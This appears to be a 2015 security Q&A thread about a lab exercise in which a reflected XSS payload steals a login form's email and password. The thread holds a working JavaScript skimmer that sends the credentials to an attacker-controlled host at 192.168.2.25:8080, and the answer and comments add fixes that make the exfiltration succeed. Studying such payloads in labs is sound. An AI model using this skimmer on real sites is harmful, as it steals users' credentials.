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I am trying to solve this exercise. The objective of this is to "Post the Username and Password to Attacker Controlled Server". There is a url parameter that the server takes, and it gets reflected back onto the page. Which is what we need to use as the XSS vector.

Now, I have written a script like this:

<script type="text/javascript"> 
function HijackCred() {
    var email = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    img = document.createElement("img");
    img.src = "http://192.168.2.25:8080?" + "email=" + email + "&" + "password=" + pass;
}
document.forms[0].onsubmit = HijackCred;
</script>

The injection works fine as I can see the script reflected back onto the page. However the script payload does not send the credentials to the attacker controlled server. Any suggestions?

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  • Does the script get executed at all? If you for example inject <script> tags after the page has loaded, the script will not be executed. In that case, you will have to inject something like <img src=x onError="JavaScript code">. You could try to add alert() to your script to see if it is being executed. Jul 15, 2015 at 7:31
  • Yes. I can confirm that the script does get executed. If I alert the username and password values, it does get alerted. Jul 15, 2015 at 7:37
  • I'm not an expert in JS, but maybe you have to add the image object you created to the HTML? Maybe try something like this: document.getElementById("placehere").appendChild(img); and replace placehere with the ID of an div tag for example. Jul 15, 2015 at 7:41
  • Or maybe you could try to change the "action" parameter of your form like this document.form-name.action = "192.168.2.25:8080?" + "email=" + email + "&" + "password=" + pass; and just replace form-name with the forma name (if it has a name attribute of course) Jul 15, 2015 at 7:48
  • If you're using Chrome, the site hasn't opted to disable XSS blocking so it won't work there. Jul 15, 2015 at 20:19

1 Answer 1

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I would make some amends to your script:

img = new Image();
img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass);
setTimeout('document.forms[0].submit();', 3000);
return false;

This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to send the credentials to the attacker.

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  • The site isn't HTTPS. Its just plain old HTTP. I tried your amendments. Doesn't help. Jul 15, 2015 at 10:28
  • 3
    Try a return false. This should stop the site submitting the form, but might give your page time to receive the response. Have a look in browser dev tools for any error messages. Jul 15, 2015 at 10:29
  • The HTTP server at the other end is a simple Python module(SimpleHTTPServer). All it does is display the GET request. Jul 15, 2015 at 10:58
  • When I put a return false, the server does receive the response. I am confused now! Why doesn't it receive the response without it? Jul 15, 2015 at 10:59
  • 1
    I assume because when you hit submit, the form will redirect you before the JS code can execute. By entering "return false", you disable the default action of the submit button, that means, it will not automatically redirect you, and the JS code has time to execute. Jul 15, 2015 at 13:38

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